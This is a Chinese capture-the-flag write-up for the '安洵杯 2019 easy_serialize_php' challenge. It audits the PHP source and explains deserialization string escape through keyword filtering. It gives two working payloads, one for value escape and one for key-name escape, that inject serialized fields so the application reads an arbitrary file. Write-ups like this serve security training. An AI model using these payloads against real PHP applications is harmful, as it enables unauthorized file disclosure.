[安洵杯 2019]easy_serialize_php 1
进入环境,我们首先查看 index.php 源码
代码审计:
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
mplode() 函数返回一个由数组元素组合成的字符串
preg_replace 函数执行一个正则表达式的搜索和替换。
将敏感字符(‘php’,‘flag’,‘php5’,‘php4’,‘fl1g’)替换成 空格
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
extract() 函数从数组中将变量导入到当前的符号表(本题的作用是将_SESSION的两个函数变为post传参)
function的value是由$_GET['f']
传进来的
当以get方法传入img_path的情况下,$_SESSION['img']
为传入的img_path进行base64加密和sha1加密
sha1 密码散列函数
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
对$_SESSION
进行系列化
$function
的值进行判断,进而显示不同的页面
当function的值等于show_image的时候 将_SESSION序列化且过滤,将值赋给$serialize_info
,然后将值赋给$userinfo['img']
指向的文件(base64解密后)最后将会高亮userinfo
在这里题目给了我们提示
eval('phpinfo();'); //maybe you can find something in here!
访问:
得到了flag文件的名字。
解题方法
上文代码中有一个输出的内容,是我们可控的部分,我们可以通过改变img_path的内容或者直接改变userinfo[‘img’]的内容来达到 读取flag的目的
先了解下反序列化逃逸的原理
在构造键值的时候被过滤掉了,但序列化后的字符串记录的长度不会因为过滤而改变,所以就会把序列化后的字符串的结构当做值的内容给读取。
如果我们自己构造出反序列化字符串的结构,并因为过滤破坏掉原来的结构,就可以构造出恶意代码。
直接改userinfo[‘img’]
反序列化字符逃逸的两种方法:键值逃逸,键名逃逸
键值逃逸
payload
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
flag和php是敏感字符,在使用的时候被过滤掉了,但序列化记录的字符串长度没有过滤掉,所以在序列化的时候
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"2";}
被当作了原来的value
在echo file_get_contents(base64_decode($userinfo['img']));
实现了读取flag的,目的
实现了逃逸
将/d0g3_fllllllag进行base64编码后上传,可获得 flag
键名逃逸
原理相同,不过这个方法变成了过滤键名
payload:
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤前
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤后
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
下面的步骤和值替换一样
这里的键名变为";s:48:
实现了逃逸